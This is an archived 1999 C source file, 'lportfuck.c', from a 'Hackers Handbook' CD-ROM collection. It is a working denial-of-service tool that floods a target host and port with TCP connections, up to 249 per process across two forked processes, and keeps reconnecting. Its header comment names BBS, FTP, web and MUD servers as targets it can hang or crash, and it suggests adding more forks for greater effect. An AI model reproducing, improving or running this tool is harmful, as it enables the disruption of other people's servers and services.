home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / lportfuck.c < prev    next >
C/C++ Source or Header  |  1999-04-11  |  4KB  |  108 lines

  1. /*
  2.  *** LPortFuck v1, by konker mailto: konker@radiks.net  ; icq 10891673
  3.  *** 
  4.  *** Usage: ./lportfuck <server> <port> <delay> 
  5.  ***                                    
  6.  ***    ex: ./lportfuck www.bluffsrun.com 80                                 
  7.  ***        will hog up as many connects as it can
  8.  ***    ex: ./lportfuck www.bluffsrun.com 80 1000
  9.  ***        sets delay to 1000<ms> will dis-connect on connect at 1000ms delay
  10.  ***   if no delay is set it will just connect on as many sockets upto 500 
  11.  ***
  12.  *** Typical Uses: bbs'; can hang nodes if you use disconnect on connect mode
  13.  ***               ftps; hog connects, somtimes crash server
  14.  ***               web servers; hog connects, crash server
  15.  ***               muds; hog connects, hang nodes
  16.  ***
  17.  *** For some interesting effects, throw some more fork()'s in there:)
  18.  *** This is extremly fast too, with the use of more fork()'s you can have 
  19.  *** more then 10-20 sockets connecting at a time. This version only does 2 
  20.  *** sockets at a time. If you want to add more forks go for it. Youll have
  21.  *** to edit a bit of the code, but it should be pretty strait forward.
  22.  *** Since we only fork() once, this supports upto 500 max connects.
  23.  *** Also this does not check to see whether or not the connect stays active
  24.  *** basically when i tested it to check up on the connected sockets it took
  25.  *** WAY too long. So basically if a socket gets dropped you wont know, but 
  26.  *** if it does get dropped, another socket will take its place. So you NEVER
  27.  *** loose any of your connects. But it may look like there is MORE sockets 
  28.  *** connected then there really is.
  29.  ***
  30.  *** email or icq me if you want to comment on coding or suggestions
  31.  *** konker@radiks.net   icq 10891673
  32.  *** latez konker.
  33.  */
  34. #include <stdio.h>
  35. #include <stdlib.h>
  36. #include <unistd.h>
  37. #include <sys/socket.h>
  38. #include <sys/types.h>
  39. #include <netinet/in.h>
  40. #include <netdb.h>
  41.  
  42. #define MAX_FD 249
  43.  
  44. void     PortFuck(char *host, long port, long delay);
  45.  
  46. int main(int argc, char *argv[]) {
  47.  
  48. pid_t pid;
  49.  
  50.    if(argc < 3) {
  51.       printf("Port Fuck Linux Style, by konker\n");
  52.       printf("\tUsage: %s <target host> <port> <delay>\n", argv[0]);
  53.       printf("\t   Ex: %s www.bluffsrun.com 80\n", argv[0]);
  54.       printf("\t   Ex: %s www.bluffsrun.com 80 1000\n", argv[0]);
  55.       exit(1);
  56.    }
  57. printf("Port Fuck Linux Style, by konker\n");
  58.  
  59. pid = fork();
  60. if(pid != 0)
  61.    PortFuck(argv[1], atol(argv[2]), (argc > 3) ? atol(argv[3]): 0);
  62. else
  63.    PortFuck(argv[1], atol(argv[2]), (argc > 3) ? atol(argv[3]): 0);
  64. return(0);
  65. }
  66.  
  67. void    PortFuck(char *host, long port, long delay) {
  68.  
  69.    struct hostent *he;
  70.    struct sockaddr_in addr[MAX_FD];
  71.    int sockfd[MAX_FD], isock, itot;
  72.  
  73.    if((he=gethostbyname(host)) == NULL) {
  74.       herror("gethostbyname");
  75.       exit(1);
  76.     }
  77.  
  78. for(isock = 0; isock < MAX_FD; isock++) {
  79.  
  80.     sockfd[isock] = socket(AF_INET, SOCK_STREAM, 0);
  81.     
  82.     addr[isock].sin_family = AF_INET;
  83.     addr[isock].sin_port = htons(port);
  84.     addr[isock].sin_addr = *((struct in_addr *)he->h_addr);
  85.     bzero(&(addr[1].sin_zero), 8);
  86.      
  87.     if(connect(sockfd[isock], &addr[isock], sizeof(addr[0])) == -1) {
  88.        fflush(stdout);
  89.        usleep(9);
  90.        printf("\r%i sockets connected to %s | connect %i failed <retrying>", itot * 2, host, (itot * 2) - 1);
  91.        isock--; 
  92.       }
  93.     else {
  94.        itot++;
  95.        fflush(stdout);
  96.        printf("\r%i sockets connected to %s", itot * 2, host);
  97.          if(delay > 0) {
  98.             usleep(delay);
  99.             close(sockfd[isock]);
  100.             isock--; itot--;
  101.          }
  102.     }
  103.    if(isock == MAX_FD - 1) 
  104.       isock = 0;
  105. }
  106.  
  107. }
  108.